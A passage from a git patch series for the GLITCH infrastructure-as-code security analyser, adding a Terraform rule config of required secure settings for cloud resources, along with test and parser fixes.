["resource.aws_lambda_permission"], "attribute": "source_arn", "parents": [""], + "values": [""], "required": "yes", "msg": "source_arn"}, + {"au_type": ["resource.aws_db_instance", "resource.aws_rds_cluster_instance"], "attribute": "publicly_accessible", "parents": [""], + "values": ["false"], "required": "no"}, + {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "block_public_acls", "parents": [""], + "values": ["true"], "required": "yes", "msg": "block_public_acls"}, + {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "block_public_policy", "parents": [""], + "values": ["true"], "required": "yes", "msg": "block_public_policy"}, + {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "restrict_public_buckets", "parents": [""], + "values": ["true"], "required": "yes", "msg": "restrict_public_buckets"}, + {"au_type": ["resource.aws_s3_bucket_public_access_block"], "attribute": "ignore_public_acls", "parents": [""], + "values": ["true"], "required": "yes", "msg": "ignore_public_acls"}, + {"au_type": ["resource.aws_s3_bucket"], "attribute": "acl", "parents": [""], + "values": ["private", "aws-exec-read", "log-delivery-write"], "required": "no"}, + {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "authorized_ip_ranges[0]", + "parents": ["api_server_access_profile"], "values": [""], "required": "yes", + "msg": "api_server_access_profile.authorized_ip_ranges"}, + {"au_type": ["resource.azurerm_postgresql_server", "resource.azurerm_mariadb_server", "resource.azurerm_mssql_server", + "resource.azurerm_mysql_server"], "attribute": "public_network_access_enabled", "parents": [""], + "values": ["false"], "required": "yes", "msg": "public_network_access_enabled"}, + {"au_type": ["resource.azurerm_data_factory"], "attribute": "public_network_enabled", "parents": [""], + "values": ["false"], "required": "yes", "msg": "public_network_enabled"}, + {"au_type": ["resource.digitalocean_spaces_bucket"], "attribute": "acl", "parents": [""], + "values": ["private"], "required": "yes", "msg": "acl"}, + {"au_type": ["resource.digitalocean_spaces_bucket_object"], "attribute": "acl", "parents": [""], + "values": ["private"], "required": "no"}, + {"au_type": ["resource.google_bigquery_dataset"], "attribute": "special_group", "parents": ["access"], + "values": ["projectowners", "projectreaders", "projectwriters"], "required": "no"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "enable_private_nodes", + "parents": ["private_cluster_config"], "values": ["true"], "required": "yes", + "msg": "private_cluster_config.enable_private_nodes"}, + {"au_type": ["resource.aws_mq_broker"], "attribute": "publicly_accessible", "parents": [""], "values": ["false"], + "required": "no"}, + {"au_type": ["resource.aws_athena_workgroup"], "attribute": "enforce_workgroup_configuration", + "parents": ["configuration"], "values": ["true"], "required": "no"}, + {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "role_based_access_control_enabled", + "parents": [""], "values": ["true"], "required": "no"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "enable_legacy_abac", + "parents": [""], "values": ["false"], "required": "no"}, + {"au_type": ["resource.google_storage_bucket"], "attribute": "uniform_bucket_level_access", + "parents": [""], "values": ["true"], "required": "yes", "msg": "uniform_bucket_level_access"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "email", + "parents": ["service_account"], "values": [""], "required": "yes", "msg": "service_account.email"}, + {"au_type": ["resource.azurerm_storage_container"], "attribute": "container_access_type", "parents": [""], + "values": ["private"], "required": "no"}] + +authentication = [{"au_type": ["resource.azurerm_app_service", "resource.azurerm_function_app"], "attribute": "enabled", + "parents": ["auth_settings"], "values": ["true"], "required": "yes", "msg": "auth_settings.enabled"}, + {"au_type": ["resource.azurerm_linux_virtual_machine", "resource.azurerm_linux_virtual_machine_scale_set"], + "attribute": "disable_password_authentication", "parents": [""], "values": ["true"], "required": "no"}, + {"au_type": ["resource.azurerm_virtual_machine"], "attribute": "disable_password_authentication", + "parents": ["os_profile_linux_config"], "values": ["true"], "required": "yes", + "msg": "os_profile_linux_config.disable_password_authentication"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "issue_client_certificate", + "parents": ["client_certificate_config"], "values": ["false"], "required": "no"}] + +missing_encryption = [{"au_type": ["resource.aws_api_gateway_method_settings"], "attribute": "cache_data_encrypted", + "parents": ["settings"], "values": ["true"], "required": "yes", "msg": "settings.cache_data_encrypted"}, + {"au_type": ["resource.aws_athena_database"], "attribute": "encryption_option", "parents": ["encryption_configuration"], + "values": ["sse_kms", "sse_s3", "cse_kms"], "required": "yes", "msg": "encryption_configuration.encryption_option"}, + {"au_type": ["resource.aws_athena_workgroup"], "attribute": "result_configuration", "parents": ["configuration"], + "values": [""], "required": "yes", + "msg": "configuration.result_configuration.encryption_configuration.encryption_option"}, + {"au_type": ["resource.aws_athena_workgroup"], "attribute": "encryption_configuration", + "parents": ["result_configuration"], "values": [""], "required": "yes", + "msg": "configuration.result_configuration.encryption_configuration.encryption_option"}, + {"au_type": ["resource.aws_athena_workgroup"], "attribute": "encryption_option", "parents": ["encryption_configuration"], + "values": ["sse_kms", "sse_s3", "cse_kms"], "required": "yes", + "msg": "configuration.result_configuration.encryption_configuration.encryption_option"}, + {"au_type": ["resource.aws_codebuild_project"], "attribute": "encryption_disabled", + "parents": ["artifacts", "secondary_artifacts"], "values": ["false"], "required": "no"}, + {"au_type": ["resource.aws_docdb_cluster", "resource.aws_rds_cluster", "resource.aws_db_instance", + "resource.aws_db_cluster_snapshot", "resource.aws_rds_cluster_instance", "resource.aws_rds_global_cluster", + "resource.aws_neptune_cluster"], "attribute": "storage_encrypted", "parents": [""], "values": ["true"], + "required": "yes", "msg": "storage_encrypted"}, + {"au_type": ["resource.aws_dax_cluster", "resource.aws_dynamodb_table"], "attribute": "enabled", + "parents": ["server_side_encryption"], "values": ["true"], "required": "yes", "msg": "server_side_encryption.enabled"}, + {"au_type": ["resource.aws_ebs_volume", "resource.aws_efs_file_system"], "attribute": "encrypted", "parents": [""], + "values": ["true"], "required": "yes", "msg": "encrypted"}, + {"au_type": ["resource.aws_instance", "resource.aws_launch_configuration"], "attribute": "encrypted", + "parents": ["root_block_device"], "values": ["true"], "required": "yes", "msg": "root_block_device.encrypted"}, + {"au_type": ["resource.aws_instance", "resource.aws_launch_configuration"], "attribute": "encrypted", + "parents": ["ebs_block_device"], "values": ["true"], "required": "no"}, + {"au_type": ["resource.aws_ami"], "attribute": "encrypted", + "parents": ["ebs_block_device", "root_block_device"], "values": ["true"], "required": "no"}, + {"au_type": ["resource.aws_ecs_task_definition"], "attribute": "transit_encryption", + "parents": ["efs_volume_configuration"], "values": ["enabled"], "required": "no"}, + {"au_type": ["resource.aws_eks_cluster"], "attribute": "provider", "parents": ["encryption_config"], + "values": [""], "required": "yes", "msg": "encryption_config.provider.key_arn"}, + {"au_type": ["resource.aws_eks_cluster"], "attribute": "key_arn", "parents": ["provider"], "values": ["any_not_empty"], + "required": "yes", "msg": "encryption_config.provider.key_arn"}, + {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enabled", "parents": ["encrypt_at_rest"], + "values": ["true"], "required": "yes", "msg": "encrypt_at_rest.enabled"}, + {"au_type": ["resource.aws_elasticache_replication_group"], "attribute": "at_rest_encryption_enabled", + "parents": [""], "values": ["true"], "required": "yes", "msg": "at_rest_encryption_enabled"}, + {"au_type": ["resource.aws_kinesis_stream"], "attribute": "encryption_type", + "parents": [""], "values": ["kms"], "required": "yes", "msg": "encryption_type"}, + {"au_type": ["resource.aws_msk_cluster"], "attribute": "encryption_in_transit", "parents": ["encryption_info"], + "values": [""], "required": "yes", "msg": "encryption_info.encryption_in_transit"}, + {"au_type": ["resource.aws_msk_cluster"], "attribute": "client_broker", + "parents": ["encryption_in_transit"], "values": ["tls"], "required": "no"}, + {"au_type": ["resource.aws_msk_cluster"], "attribute": "in_cluster", + "parents": ["encryption_in_transit"], "values": ["true"], "required": "no"}, + {"au_type": ["resource.aws_redshift_cluster"], "attribute": "encrypted", + "parents": [""], "values": ["true"], "required": "yes", "msg": "encrypted"}, + {"au_type": ["resource.aws_workspaces_workspace"], "attribute": "root_volume_encryption_enabled", "parents": [""], + "values": ["true"], "required": "yes", "msg": "root_volume_encryption_enabled"}, + {"au_type": ["resource.aws_workspaces_workspace"], "attribute": "user_volume_encryption_enabled", "parents": [""], + "values": ["true"], "required": "yes", "msg": "user_volume_encryption_enabled"}, + {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enabled", "parents": ["node_to_node_encryption"], + "values": ["true"], "required": "yes", "msg": "node_to_node_encryption.enabled"}, + {"au_type": ["resource.aws_elasticache_replication_group"], "attribute": "transit_encryption_enabled", + "parents": [""], "values": ["true"], "required": "yes", "msg": "transit_encryption_enabled"}, + {"au_type": ["resource.aws_ecr_repository"], "attribute": "encryption_type", "parents": ["encryption_configuration"], + "values": ["kms"], "required": "yes", "msg": "encryption_configuration.encryption_type"}, + {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], + "attribute": "apply_server_side_encryption_by_default", "parents": ["rule"], + "values": [""], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.sse_algorithm"}, + {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], + "attribute": "sse_algorithm", "parents": ["apply_server_side_encryption_by_default"], + "values": ["aes256", "aws:kms"], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.sse_algorithm"}] + +firewall = [{"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "web_acl_id", "parents": [""], + "values": ["any_not_empty"], "required": "yes", "msg": "web_acl_id"}, + {"au_type": ["resource.aws_alb", "resource.aws_lb", "resource.aws_elb"], "attribute": "internal", "parents": [""], "values": ["true"], + "required": "yes", "msg": "internal"}, + {"au_type": ["resource.aws_alb", "resource.aws_lb"], "attribute": "drop_invalid_header_fields", "parents": [""], + "values": ["true"], "required": "yes", "msg": "drop_invalid_header_fields"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "can_ip_forward", "parents": [""], "values": ["false"], + "required": "no"}, + {"au_type": ["resource.google_compute_firewall"], "attribute": "destination_ranges[0]", "parents": [""], "values": [""], + "required": "yes", "msg": "destination_ranges"}, + {"au_type": ["resource.google_compute_firewall"], "attribute": "source_ranges[0]", "parents": [""], "values": [""], + "required": "yes", "msg": "source_ranges"}, + {"au_type": ["resource.openstack_fw_rule_v1"], "attribute": "destination_ip_address", "parents": [""], "values": [""], + "required": "yes", "msg": "destination_ip_address"}, + {"au_type": ["resource.openstack_fw_rule_v1"], "attribute": "source_ip_address", "parents": [""], "values": [""], + "required": "yes", "msg": "source_ip_address"}, + {"au_type": ["resource.azurerm_key_vault"], "attribute": "default_action", "parents": ["network_acls"], + "values": ["deny"], "required": "yes", "msg": "network_acls.default_action"}, + {"au_type": ["resource.azurerm_key_vault"], "attribute": "bypass", "parents": ["network_acls"], + "values": ["azureservices"], "required": "yes", "msg": "network_acls.bypass"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "cidr_blocks", "parents": ["master_authorized_networks_config"], + "values": [""], "required": "yes", "msg": "master_authorized_networks_config.cidr_blocks.cidr_block"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "cidr_block", "parents": ["cidr_blocks"], + "values": [""], "required": "yes", "msg": "master_authorized_networks_config.cidr_blocks.cidr_block"}] + +missing_threats_detection_alerts = [{"au_type": ["resource.azurerm_mssql_server_security_alert_policy"], + "attribute": "disabled_alerts[0]", "parents": [""], "values": [""], "required": "must_not_exist"}, + {"au_type": ["resource.github_repository"], "attribute": "vulnerability_alerts", + "parents": [""], "values": ["true"], "required": "yes", "msg": "vulnerability_alerts"}, + {"au_type": ["resource.azurerm_mssql_server_security_alert_policy"], "attribute": "email_addresses[0]", + "parents": [""], "values": [""], "required": "yes", "msg": "email_addresses"}, + {"au_type": ["resource.azurerm_mssql_server_security_alert_policy"], "attribute": "email_account_admins", + "parents": [""], "values": ["true"], "required": "yes", "msg": "email_account_admins"}, + {"au_type": ["resource.azurerm_security_center_contact"], "attribute": "alert_notifications", + "parents": [""], "values": ["true"], "required": "yes", "msg": "alert_notifications"}, + {"au_type": ["resource.azurerm_security_center_contact"], "attribute": "alerts_to_admins", + "parents": [""], "values": ["true"], "required": "yes", "msg": "alerts_to_admins"}, + {"au_type": ["resource.azurerm_security_center_contact"], "attribute": "phone", + "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "phone"}, + {"au_type": ["resource.aws_ecr_repository"], "attribute": "scan_on_push", "parents": ["image_scanning_configuration"], + "values": ["true"], "required": "yes", "msg": "image_scanning_configuration.scan_on_push"}] + +password_key_policy = [{"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "password_reuse_prevention", + "parents": [""], "values": ["5"], "required": "yes", "msg": "password_reuse_prevention", "logic": "gte"}, + {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "require_lowercase_characters", + "parents": [""], "values": ["true"], "required": "yes", "msg": "require_lowercase_characters", "logic": "equal"}, + {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "require_numbers", + "parents": [""], "values": ["true"], "required": "yes", "msg": "require_numbers", "logic": "equal"}, + {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "require_symbols", + "parents": [""], "values": ["true"], "required": "yes", "msg": "require_symbols", "logic": "equal"}, + {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "require_uppercase_characters", + "parents": [""], "values": ["true"], "required": "yes", "msg": "require_uppercase_characters", "logic": "equal"}, + {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "max_password_age", + "parents": [""], "values": ["90"], "required": "yes", "msg": "max_password_age", "logic": "lte"}, + {"au_type": ["resource.aws_iam_account_password_policy"], "attribute": "minimum_password_length", + "parents": [""], "values": ["14"], "required": "yes", "msg": "minimum_password_length", "logic": "gte"}, + {"au_type": ["resource.azurerm_key_vault_secret"], "attribute": "expiration_date", + "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "expiration_date", "logic": "equal"}, + {"au_type": ["resource.azurerm_key_vault"], "attribute": "purge_protection_enabled", + "parents": [""], "values": ["true"], "required": "yes", "msg": "purge_protection_enabled", "logic": "equal"}, + {"au_type": ["resource.azurerm_key_vault_key"], "attribute": "expiration_date", "parents": [""], + "values": ["any_not_empty"], "required": "yes", "msg": "expiration_date", "logic": "equal"}] + +key_management = [{"au_type": ["resource.aws_cloudwatch_log_group", "resource.aws_docdb_cluster", "resource.aws_ebs_volume", + "resource.aws_secretsmanager_secret", "resource.aws_kinesis_stream", "resource.aws_cloudtrail", "resource.aws_rds_cluster", + "resource.aws_db_instance", "resource.aws_redshift_cluster", "resource.aws_db_instance_automated_backups_replication", + "resource.aws_rds_cluster_activity_stream"], + "attribute": "kms_key_id", "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_id"}, + {"au_type": ["resource.aws_dynamodb_table"], "attribute": "kms_key_arn", "parents": ["server_side_encryption"], + "values": ["any_not_empty"], "required": "yes", "msg": "server_side_encryption.kms_key_arn"}, + {"au_type": ["resource.aws_neptune_cluster"], "attribute": "kms_key_arn", "parents": [""], + "values": ["any_not_empty"], "required": "yes", "msg": "kms_key_arn"}, + {"au_type": ["resource.aws_ecr_repository"], "attribute": "kms_key", "parents": ["encryption_configuration"], + "values": ["any_not_empty"], "required": "yes", "msg": "encryption_configuration.kms_key"}, + {"au_type": ["resource.aws_kms_key"], "attribute": "enable_key_rotation", "parents": [""], + "values": ["true"], "required": "yes", "msg": "enable_key_rotation"}, + {"au_type": ["resource.aws_rds_cluster_instance", "resource.aws_db_instance"], "attribute": "performance_insights_kms_key_id", + "parents": [""], "values": ["any_not_empty"], "required": "yes", "msg": "performance_insights_kms_key_id"}, + {"au_type": ["resource.google_kms_crypto_key"], "attribute": "rotation_period", "parents": [""], + "values": [""], "required": "yes", "msg": "rotation_period"}, + {"au_type": ["resource.google_compute_disk"], "attribute": "kms_key_self_link", "parents": ["disk_encryption_key"], + "values": ["any_not_empty"], "required": "yes", "msg": "disk_encryption_key.kms_key_self_link"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "kms_key_self_link", "parents": ["boot_disk"], + "values": ["any_not_empty"], "required": "yes", "msg": "boot_disk.kms_key_self_link"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "block-project-ssh-keys", "parents": ["metadata"], + "values": ["true"], "required": "yes", "msg": "metadata.block-project-ssh-keys"}, + {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], + "attribute": "apply_server_side_encryption_by_default", "parents": ["rule"], + "values": [""], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.kms_master_key_id"}, + {"au_type": ["resource.aws_s3_bucket_server_side_encryption_configuration"], + "attribute": "kms_master_key_id", "parents": ["apply_server_side_encryption_by_default"], + "values": ["any_not_empty"], "required": "yes", "msg": "rule.apply_server_side_encryption_by_default.kms_master_key_id"}, + {"au_type": ["resource.aws_sns_topic", "resource.aws_sqs_queue"], "attribute": "kms_master_key_id", "parents": [""], + "values": ["any_not_empty"], "required": "yes", "msg": "kms_master_key_id"}, + {"au_type": ["resource.digitalocean_droplet"], "attribute": "ssh_keys[0]", "parents": [""], + "values": [""], "required": "yes", "msg": "ssh_keys"}, + {"au_type": ["resource.google_storage_bucket"], "attribute": "default_kms_key_name", "parents": ["encryption"], + "values": ["any_not_empty"], "required": "yes", "msg": "encryption.default_kms_key_name"}] + +network_security_rules = [{"au_type": ["resource.azurerm_storage_account_network_rules"], "attribute": "default_action", + "parents": [""], "values": ["deny"], "required": "yes", "msg": "default_action"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "default_action", + "parents": ["network_rules"], "values": ["deny"], "required": "yes", "msg": "network_rules.default_action"}, + {"au_type": ["resource.aws_network_acl_rule"], "attribute": "protocol", + "parents": [""], "values": ["tcp"], "required": "no"}, + {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "network_policy", "parents": ["network_profile"], + "values": ["calico", "azure"], "required": "yes", "msg": "network_profile.network_policy"}, + {"au_type": ["resource.azurerm_synapse_workspace"], "attribute": "managed_virtual_network_enabled", "parents": [""], + "values": ["true"], "required": "yes", "msg": "managed_virtual_network_enabled"}, + {"au_type": ["resource.google_compute_instance"], "attribute": "serial-port-enable", "parents": ["metadata"], + "values": ["false"], "required": "no"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "ip_allocation_policy", "parents": [""], + "values": [""], "required": "yes", "msg": "ip_allocation_policy"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "enabled", "parents": ["network_policy"], + "values": ["true"], "required": "yes", "msg": "network_policy.enabled"}, + {"au_type": ["resource.google_project"], "attribute": "auto_create_network", "parents": [""], + "values": ["false"], "required": "yes", "msg": "auto_create_network"}] + +google_iam_member_resources = ["resource.google_project_iam_member", "resource.google_project_iam_binding", + "resource.google_organization_iam_member", "resource.google_organization_iam_binding", + "resource.google_folder_iam_member", "resource.google_folder_iam_binding"] + +permission_iam_policies = [{"au_type": ["resource.google_project_iam_member", "resource.google_project_iam_binding", + "resource.google_organization_iam_member", "resource.google_organization_iam_binding", + "resource.google_folder_iam_member", "resource.google_folder_iam_binding"], + "attribute": "role", "parents": [""], "values": ["roles/owner", "roles/editor", "roles/iam.securityadmin", + "roles/iam.serviceaccountadmin", "roles/iam.serviceaccountkeyadmin", "roles/iam.serviceaccountuser", + "roles/iam.serviceaccounttokencreator", "roles/iam.workloadidentityuser", "roles/dataproc.editor", + "roles/dataproc.admin", "roles/dataflow.developer", "roles/resourcemanager.folderadmin", + "roles/resourcemanager.folderiamadmin", "roles/resourcemanager.projectiamadmin", "roles/resourcemanager.organizationadmin", + "roles/cloudasset.viewer", "roles/cloudasset.owner", "roles/serverless.serviceagent", "roles/dataproc.serviceagent"], + "required": "no", "logic": "diff"}] + +logging = [{"au_type": ["resource.aws_cloudwatch_log_group"], "attribute": "retention_in_days", "parents": [""], + "values": ["1", "3", "5", "7", "14", "30", "60", "90", "120", "150", "180", "365", "400", "545", "731", "1827", "3653"], + "required": "yes", "msg": "retention_in_days"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], + "values": [""], "required": "yes", "msg": "queue_properties.logging.delete"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], + "values": [""], "required": "yes", "msg": "queue_properties.logging.read"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "logging", "parents": ["queue_properties"], + "values": [""], "required": "yes", "msg": "queue_properties.logging.write"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "delete", "parents": ["logging"], + "values": ["true"], "required": "yes", "msg": "queue_properties.logging.delete"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "read", "parents": ["logging"], + "values": ["true"], "required": "yes", "msg": "queue_properties.logging.read"}, + {"au_type": ["resource.azurerm_storage_account"], "attribute": "write", "parents": ["logging"], + "values": ["true"], "required": "yes", "msg": "queue_properties.logging.write"}, + {"au_type": ["resource.aws_s3_bucket"], "attribute": "logging", "parents": [""], + "values": [""], "required": "yes", "msg": "logging"}, + {"au_type": ["resource.aws_apigatewayv2_stage", "resource.aws_api_gateway_stage"], "attribute": "destination_arn", + "parents": ["access_log_settings"], "values": ["any_not_empty"], "required": "yes", + "msg": "access_log_settings.destination_arn"}, + {"au_type": ["resource.aws_api_gateway_stage"], "attribute": "xray_tracing_enabled", "parents": [""], + "values": ["true"], "required": "yes", "msg": "xray_tracing_enabled"}, + {"au_type": ["resource.aws_cloudfront_distribution"], "attribute": "bucket", "parents": ["logging_config"], + "values": ["any_not_empty"], "required": "yes", "msg": "logging_config.bucket"}, + {"au_type": ["resource.aws_cloudtrail"], "attribute": "enable_log_file_validation", "parents": [""], + "values": ["true"], "required": "yes", "msg": "enable_log_file_validation"}, + {"au_type": ["resource.aws_cloudtrail"], "attribute": "cloud_watch_logs_group_arn", "parents": [""], + "values": [""], "required": "yes", "msg": "cloud_watch_logs_group_arn"}, + {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "log_type", "parents": ["log_publishing_options"], + "values": ["index_slow_logs", "search_slow_logs", "es_application_logs", "audit_logs"], "required": "yes", + "msg": "log_publishing_options.log_type"}, + {"au_type": ["resource.aws_elasticsearch_domain"], "attribute": "enabled", "parents": ["log_publishing_options"], + "values": ["true"], "required": "no"}, + {"au_type": ["resource.aws_lambda_function"], "attribute": "mode", "parents": ["tracing_config"], + "values": ["active"], "required": "yes", "msg": "tracing_config.mode"}, + {"au_type": ["resource.aws_mq_broker"], "attribute": "audit", "parents": ["logs"], + "values": ["true"], "required": "yes", "msg": "logs.audit"}, + {"au_type": ["resource.aws_mq_broker"], "attribute": "general", "parents": ["logs"], + "values": ["true"], "required": "yes", "msg": "logs.general"}, + {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "oms_agent", "parents": ["addon_profile"], + "values": [""], "required": "yes", "msg": "addon_profile.oms_agent.log_analytics_workspace_id"}, + {"au_type": ["resource.azurerm_kubernetes_cluster"], "attribute": "log_analytics_workspace_id", "parents": ["oms_agent"], + "values": ["any_not_empty"], "required": "yes", "msg": "addon_profile.oms_agent.log_analytics_workspace_id"}, + {"au_type": ["resource.azurerm_network_watcher_flow_log"], "attribute": "days", "parents": ["retention_policy"], + "values": [""], "required": "yes", "msg": "retention_policy.days"}, + {"au_type": ["resource.azurerm_monitor_log_profile"], "attribute": "days", "parents": ["retention_policy"], + "values": [""], "required": "yes", "msg": "retention_policy.days"}, + {"au_type": ["resource.google_compute_subnetwork"], "attribute": "log_config", "parents": [""], + "values": [""], "required": "yes", "msg": "log_config"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "logging_service", "parents": [""], + "values": ["logging.googleapis.com/kubernetes"], "required": "no"}, + {"au_type": ["resource.google_container_cluster"], "attribute": "monitoring_service", "parents": [""], + "values": ["monitoring.googleapis.com/kubernetes"], "required": "no"}, + {"au_type": ["resource.aws_rds_cluster_instance", "resource.aws_db_instance"], "attribute": "performance_insights_enabled", + "parents": [""], "values": ["true"], "required": "yes", "msg": "performance_insights_enabled"}] + +google_sql_database_log_flags = [{"flag_name": "log_checkpoints", "value": "on", "required": "yes"}, + {"flag_name": "log_connections", "value": "on", "required": "yes"}, + {"flag_name": "log_disconnections", "value": "on", "required": "yes"}, + {"flag_name": "log_lock_waits", "value": "on", "required": "yes"}, + {"flag_name": "log_temp_files", "value": "0", "required": "yes"}, + {"flag_name": "log_min_messages", "value": "warning", "required": "no"}, + {"flag_name": "log_min_duration_statement", "value": "-1", "required": "no"}] + +possible_attached_resources_aws_route53 = ["aws_instance", "aws_eip", "aws_elb", "aws_lb", "aws_alb", "aws_route53_record", + "aws_s3_bucket", "aws_api_gateway_domain_name", "aws_elastic_beanstalk_environment", "aws_vpc_endpoint", + "aws_globalaccelerator_accelerator", "aws_cloudfront_distribution", "aws_db_instance", "aws_apigatewayv2_domain_name", + "aws_lightsail_instance"] + +versioning = [{"au_type": ["resource.aws_s3_bucket", "resource.digitalocean_spaces_bucket"], "attribute": "enabled", + "parents": ["versioning"], "values": ["true"], "required": "yes", "msg": "versioning.enabled"}] + +naming = [{"au_type": ["resource.aws_security_group", "resource.aws_security_group_rule", + "resource.aws_elasticache_security_group", "resource.openstack_networking_secgroup_v2", + "resource.openstack_networking_secgroup_rule_v2"],"attribute": "description", "parents": [""], + "values": ["any_not_empty"], "required": "yes", "msg": "description"}, + {"au_type": ["resource.aws_security_group"], "attribute": "description", + "parents": ["ingress", "egress"], "values": ["any_not_empty"], "required": "no"}] + +replication = [{"au_type": ["resource.aws_s3_bucket_replication_configuration"], "attribute": "status", + "parents": ["rule"], "values": ["enabled"], "required": "yes", "msg": "rule.status"}] + +[design] +exec_atomic_units = ["exec"] +default_variables = [] diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 8747a70b..28ef48bf 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -9,7 +9,7 @@ def __help_test(self, path, n_errors, codes, lines): parser = TerraformParser() inter = parser.parse(path, "script", False) analysis = SecurityVisitor(Tech.terraform) - analysis.config("configs/default.ini") + analysis.config("configs/terraform.ini") errors = list(filter(lambda e: e.code.startswith('sec_'), set(analysis.check(inter)))) errors = sorted(errors, key=lambda e: (e.path, e.line, e.code)) self.assertEqual(len(errors), n_errors) From e6476682b68305df78d5a9e7428b87a1bbe09f81 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Fri, 15 Dec 2023 20:46:49 +0000 Subject: [PATCH 46/58] minor fixes --- glitch/analysis/security.py | 8 ++++---- glitch/parsers/cmof.py | 15 +++++++-------- 2 files changed, 11 insertions(+), 12 deletions(-) diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 7c904263..bf816ebb 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -25,7 +25,7 @@ def get_au(self, c, file: str, name: str, type: str): au = self.get_au(ub, file, name, type) if au: return au - else: + elif isinstance(c, UnitBlock): for au in c.atomic_units: if (au.type == type and au.name == name): return au @@ -42,7 +42,7 @@ def get_associated_au(self, code, file: str, type: str, attribute_name: str , pa au = self.get_associated_au(ub, file, type, attribute_name, pattern, attribute_parents) if au: return au - else: + elif isinstance(code, UnitBlock): for au in code.atomic_units: if (au.type == type and self.check_required_attribute( au.attributes, attribute_parents, attribute_name, None, pattern)): @@ -1265,7 +1265,7 @@ def get_au(c, name: str, type: str): au = get_au(ub, name, type) if au: return au - else: + elif isinstance(c, UnitBlock): for au in c.atomic_units: if (au.type == type and au.name == name): return au @@ -1282,7 +1282,7 @@ def get_module_var(c, name: str): var = get_module_var(ub, name) if var: return var - else: + elif isinstance(c, UnitBlock): for var in c.variables: if var.name == name: return var diff --git a/glitch/parsers/cmof.py b/glitch/parsers/cmof.py index d0413a33..3cd6347e 100644 --- a/glitch/parsers/cmof.py +++ b/glitch/parsers/cmof.py @@ -1561,13 +1561,13 @@ def create_comment(value, start_line, end_line, code): def parse_file(self, path: str, type: UnitBlockType) -> UnitBlock: - with open(path) as f: - try: + unit_block = UnitBlock(path, type) + unit_block.path = path + try: + with open(path) as f: parsed_hcl = hcl2.load(f, True) f.seek(0, 0) code = f.readlines() - unit_block = UnitBlock(path, type) - unit_block.path = path for key, value in parsed_hcl.items(): if key in ["resource", "data", "variable", "module", "output"]: for v in value: @@ -1581,10 +1581,9 @@ def parse_file(self, path: str, type: UnitBlockType) -> UnitBlock: continue else: throw_exception(EXCEPTIONS["TERRAFORM_COULD_NOT_PARSE"], path) - return unit_block - except: - throw_exception(EXCEPTIONS["TERRAFORM_COULD_NOT_PARSE"], path) - return None + except: + throw_exception(EXCEPTIONS["TERRAFORM_COULD_NOT_PARSE"], path) + return unit_block def parse_module(self, path: str) -> Module: From 65c4e1c99421b9c407b538e4236b3cf07b79977e Mon Sep 17 00:00:00 2001 From: Nfsaavedra Date: Thu, 14 Mar 2024 15:07:31 +0000 Subject: [PATCH 47/58] Remove redudant values from default.ini --- glitch/analysis/security.py | 57 +++++++++++++++++++------------------ glitch/configs/default.ini | 29 +------------------ 2 files changed, 31 insertions(+), 55 deletions(-) diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 9a923c56..1d73c122 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -1145,36 +1145,39 @@ def config(self, config_path: str): SecurityVisitor.__CRYPT = json.loads(config['security']['weak_crypt']) SecurityVisitor.__CRYPT_WHITELIST = json.loads(config['security']['weak_crypt_whitelist']) SecurityVisitor.__URL_WHITELIST = json.loads(config['security']['url_http_white_list']) + SecurityVisitor.__SECRETS_WHITELIST = json.loads(config['security']['secrets_white_list']) SecurityVisitor.__SENSITIVE_DATA = json.loads(config['security']['sensitive_data']) SecurityVisitor.__SECRET_ASSIGN = json.loads(config['security']['secret_value_assign']) SecurityVisitor.__GITHUB_ACTIONS = json.loads(config['security']['github_actions_resources']) - SecurityVisitor._INTEGRITY_POLICY = 